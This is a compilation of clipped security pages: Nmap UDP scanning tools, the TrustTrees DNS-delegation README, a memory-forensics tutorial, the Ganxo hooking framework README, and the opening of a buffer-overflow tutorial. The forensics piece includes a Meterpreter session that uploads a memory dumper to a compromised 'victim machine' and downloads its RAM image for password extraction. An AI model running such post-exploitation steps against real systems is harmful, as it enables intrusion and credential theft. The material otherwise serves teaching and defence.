as we want a full and accurate scan of our targets. UDP Payload scanning is
the solution \(most of the time\). Instead of scanning with an empty UDP
packet, we send it a legitimate payload that works with the service we are
scanning. If we receive a response it indicates an open port. Before Nmap
5.21, Nmap did not support UDP payload scanning. Pentesters previously counted
on free tools like UnicornScan, whose author Jack C. Louis passed away last
year \(rest in peace Jack\), or udp-proto-scanner by Portcullis Labs. Although
these tools are often stellar, sometimes they are buggy and lack the Nmap type
features we want in a port scanner.

Newer versions of Nmap fix that dilemma by adding the following UDP
fingerprints for scanning:

`01` | `udp/7 echo`  
---|---  
`02` | `udp/53 domain`  
---|---  
`03` | `udp/111 rpcbind`  
---|---  
`04` | `udp/123 ntp`  
---|---  
`05` | `udp/137 netbios-ns`  
---|---  
`06` | `udp/161 SNMP`  
---|---  
`07` | `udp/177 xdmcp`  
---|---  
`08` | `udp/500 ISAKMP`  
---|---  
`09` | `udp/520 route`  
---|---  
`10` | `udp/1645 RADIUS`  
---|---  
`11` | `udp/1812 RADIUS`  
---|---  
`12` | `udp/2049 NFS`  
---|---  
`13` | `udp/5353 zeroconf`  
---|---  
`14` | `udp/10080 amanda`  
---|---  
  

## **Auxiliary Nmap Scripts**

There are several scripts for manipulating output and extending Nmap.

fastNmap and npwn - Perl scripts for maximizing scanning large networks by
cutting up your scans into small tasks and analyzing large scan data in better
fashion. I'm excited to use this on a cloud provider soon for some fast and
furious /16 script scanning. Research project presentations \(pdf's\) here and
here fastnmap and npwn code here.

Smap - Recently an interesting one I have played with is smap a nmap wrapper
that will take namp output and run hosts through Niagos service checks as
well. The author claims the checks are more accurate than Nmap. Either way, I
tested the wrapper against some local lab machines and it identified more HTTP
servers and and versions for non-standard ports than nmap did, and more
accurately. Smap discussion here and download here.

Sample output:

`01` | `root@bt:~/smap/scan_data/2011-04-26_16.15.29# cat report-hosts.log`  
---|---  
`02` | `Scan_results generated for 2011-04-26_16.15.29`  
---|---  
`03` |   
---|---  
`04` | `--[ HOST - List ]--------`  
---|---  
`05` |   
---|---  
`06` | `--------------------------::--------::----------------------->-----------------------------------------------------------`  
---|---  
`07` | `IP :: Port :: Service -> Server_Type`  
---|---  
`08` | `--------------------------::--------::----------------------->-----------------------------------------------------------`  
---|---  
`09` | `192.168.1.2 :: 10243 :: http -> Microsoft HTTPAPI httpd 2.0 (SSDP.UPnP). Ignored State: closed (12325)`  
---|---  
`10` | `192.168.1.2 :: 8834 :: http -> NessusWWW`  
---|---  
`11` | `192.168.1.2 :: 5357 :: http -> Microsoft HTTPAPI httpd 2.0 (SSDP.UPnP).`  
---|---  
`12` | `192.168.1.2 :: 3389 :: microsoft-rdp -> Microsoft Terminal Service.`  
---|---  
`13` | `192.168.1.2 :: 3306 :: mysql -> MySQL (unauthorized).`  
---|---  
`14` | `192.168.1.2 :: 2869 :: icslap? -> .`  
---|---  
`15` | `192.168.1.2 :: 1241 :: ssl.nessus -> Nessus Daemon (NTP v1.2).`  
---|---  
`16` | `192.168.1.2 :: 1036 :: nsstp? -> .`  
---|---  
`17` | `192.168.1.2 :: 1035 :: multidropper? -> .`  
---|---  
`18` | `192.168.1.2 :: 1027 :: msrpc -> Microsoft Windows RPC.`  
---|---  
`19` | `192.168.1.2 :: 1026 :: LSA-or-nterm? -> .`  
---|---  
`20` | `192.168.1.2 :: 1025 :: msrpc -> Microsoft Windows RPC.`  
---|---  
`21` | `192.168.1.2 :: 990 :: ftps? -> .`  
---|---  
`22` | `192.168.1.2 :: 912 :: vmware-auth -> VMware Authentication Daemon 1.0 (Uses VNC`  
---|---  
`23` | `192.168.1.2 :: 554 :: rtsp? -> .`  
---|---  
`24` | `192.168.1.2 :: 445 :: netbios-ssn -> .`  
---|---  
`25` | `192.168.1.2 :: 443 :: ssl.http -> Apache httpd 2.2.17 ((Win32) mod_ssl.2.2.17 OpenSSL.0.9.8o PHP.5.3.4 mod_perl.2.0.4 Perl.`  
---|---  
`26` | `v5.10.1).`  
---|---  
`27` | `192.168.1.2 :: 139 :: netbios-ssn -> .`  
---|---  
`28` | `192.168.1.2 :: 135 :: msrpc -> Microsoft Windows RPC.`  
---|---  
`29` | `192.168.1.2 :: 80 :: http -> Apache httpd 2.2.17 ((Win32) mod_ssl.2.2.17 OpenSSL.0.9.8o PHP.5.3.4 mod_perl.2.0.4 Perl.`  
---|---  
`30` | `v5.10.1).`  
---|---  

Rainmap - Rainmap was a Summer of Code project to distribute nmap scanning
among cloud servers and consolidate command and control through a single web
gui. The project was completed but is slated for a rewrite this SoC. For me,
it looks like it has too many moving parts and needs some more development but
it is out there.

Nmap to SQL - Nmap lacks sql output for some reason. A buddy of mine asked
fyodor why its not there by default and fyodor told him to go read the Nmap
book. He instead wrote his own parser, with more output than most of the
comparative ones out there. Here.

Nsploit - a XMLRPC bridge from nmap to metasploit \(yes we know armitage is
cool, we prefer non GUI apps\). Learn more here Here.

Droidmap - nmap for droid, still in dev. Here.

  
  
Happy hacking\!

April 26, 2011 Jhaddix

You Might Like\!

  * UDP Payload Scanning
  * Ncrack – Network Password Cracker
  * Medusa 2.0: She wears so many hats…

# mandatoryprogrammer/TrustTrees

**Created:**| _7/17/2017 11:20:35 AM_  
---|---  
**Updated:**| _7/17/2017 11:20:35 AM_  
**Author:**| __  
**Tags:**| _DNS_  
  

  

# TrustTrees

## _A Tool for DNS Delegation Trust Graphing_

## Summary

TrustTrees is a script to recursively follow all the possible delegation paths
for a target domain and graph the relationships between various nameservers
along the way. TrustTrees also allows you to view where errors occured in this
chain such as DNS ` REFUSED `, ` NXDOMAIN `, and other errors. Finally, the
tool also comes with the ability to scan enumerated nameservers for expired
base-domains which may allow for domain takeovers and hijacking of the target
domain.

The purpose of this tool is to allow domain owners to verify that their
domain's DNS is set up properly and is not vulnerable.

## Example Usage:

[code]

    (env)bash-3.2$ ./trusttrees.py --target example.com --open
    
      ______                __ ______
     /_  __/______  _______/ //_  __/_______  ___  _____
      / / / ___/ / / / ___/ __// / / ___/ _ \/ _ \/ ___/
     / / / /  / /_/ (__  ) /_ / / / /  /  __/  __(__  )
    /_/ /_/   \__,_/____/\__//_/ /_/   \___/\___/____/
              Graphing & Scanning DNS Delegation Trees
    
    [ STATUS ] Querying nameserver '192.203.230.10/e.root-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.5.6.30/a.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '199.43.135.53/a.iana-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '199.43.133.53/b.iana-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.33.14.30/b.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.26.92.30/c.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.31.80.30/d.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.12.94.30/e.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.35.51.30/f.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.42.93.30/g.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.54.112.30/h.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.43.172.30/i.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.48.79.30/j.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.52.178.30/k.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.41.162.30/l.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Querying nameserver '192.55.83.30/m.gtld-servers.net.' for NS of 'example.com.'
    [ STATUS ] Building 'example.com.|ns|192.42.93.30|g.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.55.83.30|m.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|199.43.135.53|a.iana-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.26.92.30|c.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.52.178.30|k.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.35.51.30|f.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.31.80.30|d.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.43.172.30|i.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|199.43.133.53|b.iana-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.12.94.30|e.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.203.230.10|e.root-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.48.79.30|j.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.54.112.30|h.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.41.162.30|l.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.5.6.30|a.gtld-servers.net.'...
    [ STATUS ] Building 'example.com.|ns|192.33.14.30|b.gtld-servers.net.'...
    [ STATUS ] Opening final graph...
    [ SUCCESS ] Finished generating graph!
    
[/code]

## Example Generated Graph:

<img
src='img/68747470733a2f2f692e696d6775722e636f6d2f4b3646427651762e706e67.png'
width='888' height='403' alt='example.com' />

## Example Generated Graph With Errors in DNS Chain

<img
src='img/68747470733a2f2f692e696d6775722e636f6d2f4d5263536169652e706e67.png'
width='888' height='799' alt='ticonsultores.biz.ni' />

The above graph is a good example of a domain with many DNS errors in its
delegation chain. Some of these issues are not even the fault of the domain
owner but rather are issues with the upstream TLD. Depending on the
configuration of the DNS resolver, the round robin order, and the error
tolerance of the DNS resolver, resolution of this domain may or may not
succeed.

## Command-Line Options

[code]

    (env)bash-3.2$ ./trusttrees.py --help
    usage: trusttrees.py [-h] -t TARGET_HOSTNAME [-o] [-dc DOMAIN_CHECK]
                         [-x EXPORT_FORMATS]
    
    Graph out a domain's DNS delegation chain and trust trees!
    
    optional arguments:
      -h, --help            show this help message and exit
      -t TARGET_HOSTNAME, --target TARGET_HOSTNAME
                            Target hostname to generate delegation graph from.
      -o, --open            Open the generated graph once run.
      -dc DOMAIN_CHECK, --domain-check DOMAIN_CHECK
                            Check if nameserver base domains are expired. Specify
                            a Gandi API key.
      -x EXPORT_FORMATS, --export-formats EXPORT_FORMATS
                            Comma-seperated export formats, e.g: -x png,pdf
[/code]

In order to use the domain-check functionality to look for domain takeovers
via expired-domain registration you must have a Gandi production API key. Only
Gandi is supported because they are the only registrar I'm aware of with a
wide range of supported TLDs, a solid API, and good support. Click here to
sign up for a Gandi account.

## Graph Nodes/Edges Documentation

### Nodes

  * _White Nameserver Nodes_ : These are nameservers which have delegated the query to another nameserver and have not responded authoritatively to the query.
  * _Blue Nameserver Nodes_ : These are nameservers which have answered authoritatively to the query.
  * _Red Nameserver Nodes_ : These are nameserves which were found to have no IP address associated with them. They are essentially dead-ends because the resolver has no way to send queries to them.
  * _Yellow DNS Error Nodes_ : These are DNS errors which occured while recursing the DNS chain.
  * _Orange Domain Unregistered Nodes_ : These nodes indicate that the base domain for the nameserver is reported by Gandi to be unregistered. This can mean the domain can be registered and the DNS hijacked\!

### Edges

  * _Dashed gray lines_ : This means that the query response was not authoritative.
  * _Solid blue lines_ : This means the query response was authoritative.
  * _Solid black lines_ : \(or it links to an error/domain registered node\).

  

# Episode142 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:57:23 PM_  
---|---  
**Updated:**| _8/5/2009 12:57:48 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit Examples seeking pauldotcom Metasploit
Tutorials_  
  

# Memory Analysis: The Good vs. The Bad

By Marcus J. Carey

Memory Analysis is at the bleeding edge of Incident Response and Data
Forensics. Memory Analysis allows a first responder image the memory, which
can reveals artifacts left by an intruder. Like many good security practices,
Memory Analysis can also be used by the bad guys.

## Imaging Memory with MDD

ManTech Memory DD \(MDD\) is released under GPL by Mantech International. MDD
is capable of copying the complete contents of memory on the following
Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server,
Windows 2008 Server.

After downloading MDD from the Mantech site you need to run the program at the
command line.

MDD Command Line Usage:

[code]

    mdd -o OUTPUTFILENAME
    
    
[/code]

Example:

[code]

    C:\tools\mdd>mdd -o memory.dd
     -> mdd
     -> ManTech Physical Memory Dump Utility
        Copyright (C) 2008 ManTech Security & Mission Assurance
    
     -> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'
        This is free software, and you are welcome to redistribute it
        under certain conditions; use option `-c' for details.
    
     -> Dumping 255.48 MB of physical memory to file 'memory.dd'.
    
    
     65404 map operations succeeded (1.00)
     0 map operations failed
    
     took 21 seconds to write
     MD5 is: a48986bb0558498684414e9399ca19fc
    
    
    
[/code]

The output file is commonly referred to as an "image" . MDD function is
limited to copying physical memory, so you will have to utilize another tool
to analyze the memory image.

## Analyzing Memory with Volatility Framework

Per Volatile Systems "The Volatility Framework is a completely open collection
of tools, implemented in Python under the GNU General Public License, for the
extraction of digital artifacts from volatile memory \(RAM\) samples."

Volatility does not work with Windows Vista, however since many enterprises
are still running Windows XP it can come in very handy. In order to practice
analyzing memory with Volatility, I recommend you download the memory samples
from NIST's website. I used the file "xp-laptop-2005-07-04-1430.img", which is
contained in the NIST samples, in the examples that follow.

Original reference to Windows Python:

[code]

    #!c:\python\python.exe
    
    
[/code]

Example reference to Unix/Linux Python:

[code]

    #!/usr/bin/python
    
    
[/code]

If you need to change permissions in Unix/Linux type:

[code]

    bash#chmod +x volatility
    
    
[/code]

For options type:

[code]

    ./volatility
    
    
[/code]

To see date and time of memory image:

[code]

    bash-3.2# ./volatility datetime -f /Volumes/OBI-TOO/Memory\ Images/xp-laptop-2005-07-04-1430.img 
    Image local date and time: Mon Jul 04 14:30:32 2005
    
    
[/code]

Show the image information:

[code]

    bash-3.2# ./volatility ident -f /Volumes/OBI-TOO/Memory\ Images/xp-laptop-2005-07-04-1430.img 
                  Image Name: /Volumes/OBI-TOO/Memory Images/xp-laptop-2005-07-04-1430.img
                  Image Type: Service Pack 2
                     VM Type: nopae
                         DTB: 0x39000
                    Datetime: Mon Jul 04 14:30:32 2005
    
    
[/code]

To obtain a process list:

[code]

    bash-3.2# ./volatility pslist -f /Volumes/OBI-TOO/Memory\ Images/xp-laptop-2005-07-04-1430.img 
    Name                 Pid    PPid   Thds   Hnds   Time  
    System               4      0      62     1133   Thu Jan 01 00:00:00 1970  
    smss.exe             400    4      3      21     Mon Jul 04 18:17:26 2005  
    csrss.exe            456    400    11     551    Mon Jul 04 18:17:29 2005 
    
    
[/code]

Show connection information:

[code]

    bash-3.2# ./volatility connections -f /Volumes/OBI-TOO/Memory\ Images/xp-laptop-2005-07-04-1430.img 
    Local Address             Remote Address            Pid   
    127.0.0.1:1037            127.0.0.1:1038            3276  
    127.0.0.1:1038            127.0.0.1:1037            3276  
    
    
[/code]

Show all connections:

[code]

    bash-3.2# ./volatility connscan -f /Volumes/OBI-TOO/Memory\ Images/xp-laptop-2005-07-04-1430.img 
    Local Address             Remote Address            Pid   
    ------------------------- ------------------------- ------ 
    
    192.168.2.7:1147          212.58.240.145:80         3276  
    192.168.2.7:1145          170.224.8.51:80           368   
    3.0.48.2:18776            199.239.137.245:19277     2167698096
    127.0.0.1:1038            127.0.0.1:1037            3276  
    127.0.0.1:1037            127.0.0.1:1038            3276  
    192.168.2.7:1130          216.239.115.140:80        368   
    192.168.2.7:1144          170.224.8.51:80           368   
    127.0.0.1:1038            127.0.0.1:1037            3276  
    127.0.0.1:1038            127.0.0.1:1037            3276  
    127.0.0.1:1038            127.0.0.1:1037            3276  
    bash-3.2#
    
    
[/code]

Dump executables:

[code]

    bash-3.2# ./volatility procdump -f /Volumes/OBI-TOO/Memory\ Images/xp-laptop-2005-07-04-1430.img 
    ----
    Snip
    ----
    bash-3.2# ls
    AUTHORS.txt             executable.1104.exe     executable.1844.exe     executable.2588.exe     executable.524.exe      forensics               vtypes.py
    CHANGELOG.txt           executable.1272.exe     executable.1860.exe     executable.2692.exe     executable.536.exe      memory_objects          vtypes.pyc
    CREDITS.txt             executable.1356.exe     executable.2196.exe     executable.3128.exe     executable.680.exe      memory_plugins          vutils.py
    LEGAL.txt               executable.1380.exe     executable.2392.exe     executable.3192.exe     executable.712.exe      setup.py                vutils.pyc
    LICENSE.txt             executable.1440.exe     executable.2456.exe     executable.3256.exe     executable.760.exe      thirdparty
    MANIFEST                executable.1484.exe     executable.2472.exe     executable.3276.exe     executable.800.exe      vmodules.py
    MANIFEST.in             executable.1548.exe     executable.2480.exe     executable.3300.exe     executable.840.exe      vmodules.pyc
    PKG-INFO                executable.1564.exe     executable.2496.exe     executable.400.exe      executable.932.exe      volatility
    README.txt              executable.1588.exe     executable.2524.exe     executable.456.exe      executable.972.exe      vsyms.py
    README.win              executable.1640.exe     executable.2548.exe     executable.480.exe      executable.992.exe      vsyms.pyc
    
    
[/code]

Check out SANS Forensics Blog for great post on finding hidden processes with
Mandiant's Memoryze.

## Stealing Memory with Metasploit's Meterpreter and MDD

After launching an exploit and receiving a Meterpreter connection, upload MDD.

[code]

                                               
    meterpreter > upload /root/mdd.exe .
    [*] uploading  : /root/mdd.exe -> .
    [*] uploaded   : /root/mdd.exe -> .\mdd.exe
    meterpreter > ls
    
    Listing: c:\
    ============
    
    Mode              Size       Type  Last modified                   Name
    ----              ----       ----  -------------                   ----
    100777/rwxrwxrwx  0          fil   Thu Jan 01 00:00:00 +0000 1970  AUTOEXEC.BAT
    100666/rw-rw-rw-  0          fil   Thu Jan 01 00:00:00 +0000 1970  CONFIG.SYS
    40777/rwxrwxrwx   0          dir   Thu Jan 01 00:00:00 +0000 1970  Documents and Settings
    100444/r--r--r--  0          fil   Thu Jan 01 00:00:00 +0000 1970  IO.SYS
    100444/r--r--r--  0          fil   Thu Jan 01 00:00:00 +0000 1970  MSDOS.SYS
    100555/r-xr-xr-x  45124      fil   Thu Jan 01 00:00:00 +0000 1970  NTDETECT.COM
    40555/r-xr-xr-x   0          dir   Thu Jan 01 00:00:00 +0000 1970  Program Files
    40777/rwxrwxrwx   0          dir   Thu Jan 01 00:00:00 +0000 1970  System Volume Information
    40777/rwxrwxrwx   0          dir   Thu Jan 01 00:00:00 +0000 1970  WINDOWS
    100666/rw-rw-rw-  194        fil   Thu Jan 01 00:00:00 +0000 1970  boot.ini
    100777/rwxrwxrwx  95104      fil   Thu Jan 01 00:00:00 +0000 1970  mdd.exe
    100444/r--r--r--  222368     fil   Thu Jan 01 00:00:00 +0000 1970  ntldr
    100666/rw-rw-rw-  402653184  fil   Thu Jan 01 00:00:00 +0000 1970  pagefile.sys
    
    
[/code]

Execute MDD to capture RAM on the victim machine.

[code]

    meterpreter > execute -f "cmd.exe" -i -H
    Process 1908 created.
    Channel 2 created.
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    c:\>mdd.exe -o memory.dd
    mdd.exe -o memory.dd
     -> mdd
     -> ManTech Physical Memory Dump Utility
        Copyright (C) 2008 ManTech Security & Mission Assurance
    
     -> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'
        This is free software, and you are welcome to redistribute it
        under certain conditions; use option `-c' for details.
    
     -> Dumping 511.48 MB of physical memory to file 'memory.dd'.
    
    
     130940 map operations succeeded (1.00)
     0 map operations failed
    
     took 23 seconds to write
     MD5 is: be9d1d906fac99fa01782e847a1c3144
    
    c:\>
    
    
[/code]

Verify memory image has been captured.

[code]

    meterpreter > ls
    
    Listing: c:\
    ============
    
    Mode              Size       Type  Last modified                   Name
    ----              ----       ----  -------------                   ----
    100777/rwxrwxrwx  0          fil   Thu Jan 01 00:00:00 +0000 1970  AUTOEXEC.BAT
    100666/rw-rw-rw-  0          fil   Thu Jan 01 00:00:00 +0000 1970  CONFIG.SYS
    40777/rwxrwxrwx   0          dir   Thu Jan 01 00:00:00 +0000 1970  Documents and Settings
    100444/r--r--r--  0          fil   Thu Jan 01 00:00:00 +0000 1970  IO.SYS
    100444/r--r--r--  0          fil   Thu Jan 01 00:00:00 +0000 1970  MSDOS.SYS
    100555/r-xr-xr-x  45124      fil   Thu Jan 01 00:00:00 +0000 1970  NTDETECT.COM
    40555/r-xr-xr-x   0          dir   Thu Jan 01 00:00:00 +0000 1970  Program Files
    40777/rwxrwxrwx   0          dir   Thu Jan 01 00:00:00 +0000 1970  System Volume Information
    40777/rwxrwxrwx   0          dir   Thu Jan 01 00:00:00 +0000 1970  WINDOWS
    100666/rw-rw-rw-  194        fil   Thu Jan 01 00:00:00 +0000 1970  boot.ini
    100777/rwxrwxrwx  95104      fil   Thu Jan 01 00:00:00 +0000 1970  mdd.exe
    100666/rw-rw-rw-  536330240  fil   Thu Jan 01 00:00:00 +0000 1970  memory.dd
    100444/r--r--r--  222368     fil   Thu Jan 01 00:00:00 +0000 1970  ntldr
    100666/rw-rw-rw-  402653184  fil   Thu Jan 01 00:00:00 +0000 1970  pagefile.sys
    
    
[/code]

Download memory using Meterpreter.

[code]

    meterpreter > download memory.dd .
    [*] downloading: memory.dd -> .
    [*] downloaded : memory.dd -> ./memory.dd
    
    meterpreter > exit
    
    [*] Meterpreter session 1 closed.
    msf exploit(ms06_040_netapi) > ls *.dd
    [*] exec: ls *.dd
    
    memory.dd
    msf exploit(ms06_040_netapi) >   
    
    
[/code]

Now you can utilize instructions from
http://forensiczone.blogspot.com/2009/01/using-volatility-1.html to grab the
password dump out of memory.

## Resources

  * MDD http://www.mantech.com/msma/MDD.asp
  * Volatility https://www.volatilesystems.com/default/volatility
  * NIST Memory Samples http://www.cfreds.nist.gov/mem/memory-images.rar
  * SANS Forensics http://sansforensics.wordpress.com/2008/11/19/memory-forensic-analysis-finding-hidden-processes/
  * Mandiant Memoryze http://www.mandiant.com/software/memoryze.htm
  * py2exe http://www.py2exe.org
  * cwsandbox http://www.cwsandbox.org/
  * NSRL http://www.nsrl.nist.gov/
  * BinText http://www.foundstone.com/us/resources/proddesc/bintext.htm

# Tech Segment: Metasploit Cheat Sheet

Metasploit Cheat Sheet \- Based on my recent teaching of the Metasploit course
for SANS, this is a collection of tips and tricks for Metasploit. Many have
been discussed on the podcast before, and some have not. I've included mini-
tutorials and links to tech segments on:

  * "Karmetasploit"
  * WPAD Mitm Attacks and smb\_relay
  * Incognito Token Passing
  * Bypassing Anti-Virus with msfpayload and msfencode
  * Meterpreter information gathering extensions \(Darkoperator\)
  * db\_autopwn usage and tips

I think I may replace the screenshots with actual text so people can copy
paste, but then on the other hand its good practice to enter the commands
manually.

### Additional Resources

www.oldapps.com \- Repository of older applications available for  _free_
download.

  

# PassingTheKnowledge/Ganxo

**Created:**| _5/31/2017 6:06:07 PM_  
---|---  
**Updated:**| _5/31/2017 6:06:07 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis API hooking_  
  

  

###  README.md

# Introduction

Ganxo is an opensource API hooking framework. In Catalan, Ganxo means hook and
is pronounced like you pronounce: "Gun show". Ganxo uses Capstone disassembler
for its disassembly requirements.

# Features

  * Ganxo is transactional. No hooking side effects take place until the transaction is committed
  * Written in C and aims to be light and portable. Although for now only Windows is supported
  * Ganxo has a rich api: simple data structures APIs, memory APIs, disassembly APIs
  * Heavily documented source code which is ideal for learning how to build API hooking frameworks

# Installation

  1. Clone Ganxo from: http://github.com/PassingTheKnowledge/Ganxo
  2. Clone the thirdparty dependencies:
[code]      git submodule update --init --recursive

    
[/code]

  3. Open Ganxo.sln solution
  4. Right click and change the general configuration of the capstone project and select a supported compiler
  5. Change the preprocessor settings to only have x86 and diet Capstone:
[code]
CAPSTONE_USE_SYS_DYN_MEM;CAPSTONE_X86_ATT_DISABLE;CAPSTONE_DIET;CAPSTONE_X86_REDUCE;CAPSTONE_HAS_X86

    
[/code]

  6. When ready, righ-click on the solution and "Build all"

Refer to simple.cpp and test\_hook project

# Simple example

This is an exmaple program that hooks Sleep\(\) and MessageBoxA\(\)

## Step 1 - Define the prototypes and the hook functions

[code]

    #include <Ganxo.h>
    
    typedef VOID(WINAPI *Sleep_proto)(DWORD);
    typedef int (WINAPI *MessageBoxA_proto)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
    
    Sleep_proto orig_Sleep = Sleep;
    VOID WINAPI My_Sleep(DWORD dwMilliSecs)
    {
        printf("MySleep() triggered! calling original sleep...");
        orig_Sleep(dwMilliSecs);
        printf("done!\n");
    }
    
    MessageBoxA_proto orig_MessageBoxA = MessageBoxA;
    int WINAPI my_MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
    {
        printf("MessageBoxA(hWnd=%08p, lpText='%s', lpCaption='%s', uType=%04X)\n",
            hWnd, lpText, lpCaption, uType);
        return IDOK;
    }
    
[/code]

## Step 2 - Initialize Ganxo

[code]

    int main()
    {
        gnx_err_t err = gnx_init();
        if (err != GNX_ERR_OK)
        {
            printf("Failed to initialize!\n");
            return -1;
        }
    
        // Create a new workspace instance
        gnx_handle_t gnx;
        if (gnx_open(&gnx) != GNX_ERR_OK)
        {
            printf("Failed to create workspace\n");
            return -1;
        }
    
[/code]

## Step 3 - Start a hooking transaction

[code]

        gnx_handle_t transaction;
        gnx_transaction_begin(gnx, &transaction);
    
[/code]

## Step 4 - Add the function to the transaction

[code]

        // Hook
        err = gnx_transaction_add_hook(
            transaction, 
            (void **)&orig_Sleep, 
            My_Sleep);
        err = gnx_transaction_add_hook(
            transaction, 
            (void **)&orig_MessageBoxA, 
            my_MessageBoxA);
    
[/code]

## Step 5 - Commit the transaction

[code]

        err = gnx_transaction_commit(transaction);
    
[/code]

## Step 6 - Functions are now hooked\!

[code]

        // Call hooked functions
        printf("main(): calling Sleep()\n");
        ::Sleep(10);
    
        MessageBoxA(0, "Hello", "Info", MB_OK);
    
[/code]

## Step 7 - When done, remove the hooks

Start a new transaction for the sake of removing the hooks, remove the hooks
and commit the transaction:

[code]

        // Unhook
        gnx_transaction_begin(gnx, &transaction);
        gnx_transaction_remove_hook(
            transaction, 
            (void **)&orig_Sleep);
        gnx_transaction_remove_hook(
            transaction, 
            (void **)&orig_MessageBoxA);
        gnx_transaction_commit(transaction);
        gnx_close(gnx);
        return 0;
    }
    
[/code]

  

# 風水 Heap FengShui in JavaScript Alexander Sotirov asotirov@determina.com
Black Hat Europe 2007

**Created:**| _3/19/2010 8:15:16 PM_  
---|---  
**Updated:**| _3/19/2010 8:15:50 PM_  
**Author:**| __  
**Tags:**| _bookmark Exploit presentation-material Heap_  
  
<img src='img/Temp2_10816' />

# Introduction to Network Protocol Fuzzing & Buffer Overflow Exploitation ·
./own.sh

**Created:**| _3/2/2019 6:31:03 PM_  
---|---  
**Updated:**| _3/2/2019 6:31:03 PM_  
**Author:**| _wishi_  
**Tags:**| _Fuzzer network-security_  
  

  

# Introduction to Network Protocol Fuzzing & Buffer Overflow Exploitation

Jan 29, 2019 by Joey Lane  
Tags: Buffer Overflow / OSCP / OSCE / Fuzzing / Exploit Development /

In this article we will introduce the fundamentals of discovering and
exploiting buffer overflow vulnerabilities in Windows applications. If you
have never written an exploit before, this may seem a bit intimidating at
first. Perhaps you are pursuing your OSCP certification and have just been
introduced to the concept of buffer overflow. I assure you this is not as
difficult as it seems. If you dedicate a little bit of time to it, you can
learn it\!

##### Software Requirements

  * A virtualization platform \(Virtualbox, VMware, etc.\)
  * A Windows XP, Vista, or 7 virtual machine \(32-bit\)
  * A Kali Linux virtual machine \(32-bit\)
  * Immunity Debugger \(https://www.immunityinc.com/products/debugger/\)
  * Wireshark
  * Python 2.7
  * Mona.py \(https://github.com/corelan/mona\)
  * Metasploit Framework
  * Freefloat FTP Server

During this exercise we will walk through the process of discovering and
exploiting a vulnerability in the Freefloat FTP Server application. We are
going to use two virtual machines hosted on a private network to do this. We
will be hosting the vulnerable application in a Windows XP virtual machine,
and attacking from a Kali Linux virtual machine. In our Windows VM we will be
using Immunity Debugger and ‘mona.py’ to closely examine the Freefloat FTP
Server application. In our Kali Linux VM we will be working with Python,
Wireshark, and Metasploit Framework to fuzz the FTP service and develop a
working exploit.

## Concepts and Terminology

Before we get started we need to cover some of the basic concepts and
terminology we will be exploring. During this exercise you will see the words
fuzzing, buffer overflow, assembly code, and shellcode used frequently. You do
not need to be an expert in any of these concepts to follow along, however a
basic understanding of each one is necessary to complete the exercise.

#### Fuzzing

Wikipedia – Fuzzing or fuzz testing is an automated software testing technique
that involves providing invalid, unexpected, or random data as inputs to a
computer program. The program is then monitored for exceptions such as
crashes, failing built-in code assertions, or potential memory leaks.
Typically, fuzzers are used to test programs that take structured inputs. This
structure is specified, e.g., in a file format or protocol and distinguishes
valid from invalid input. An effective fuzzer generates semi-valid inputs that
are “valid enough” in that they are not directly rejected by the parser, but
do create unexpected behaviors deeper in the program and are “invalid enough”
to expose corner cases that have not been properly dealt with.

#### Buffer Overflow

Wikipedia – In information security and programming, a buffer overflow, or
buffer overrun, is an anomaly where a program, while writing data to a buffer,
overruns the buffer’s boundary and overwrites adjacent memory locations.

Buffers are areas of memory set aside to hold data, often while moving it from
one section of a program to another, or between programs. Buffer overflows can
often be triggered by malformed inputs; if one assumes all inputs will be
smaller than a certain size and the buffer is created to be that size, then an
anomalous transaction that produces more data could cause it to write past the
end of the buffer. If this overwrites adjacent data or executable code, this
may result in erratic program behavior, including memory access errors,
incorrect results, and crashes.

Exploiting the behavior of a buffer overflow is a well-known security exploit.
On many systems, the memory layout of a program, or the system as a whole, is
well defined. By sending in data designed to cause a buffer overflow, it is
possible to write into areas known to hold executable code and replace it with
malicious code, or to selectively overwrite data pertaining to the program’s
state, therefore causing behavior that was not intended by the original
programmer. Buffers are widespread in operating system \(OS\) code, so it is
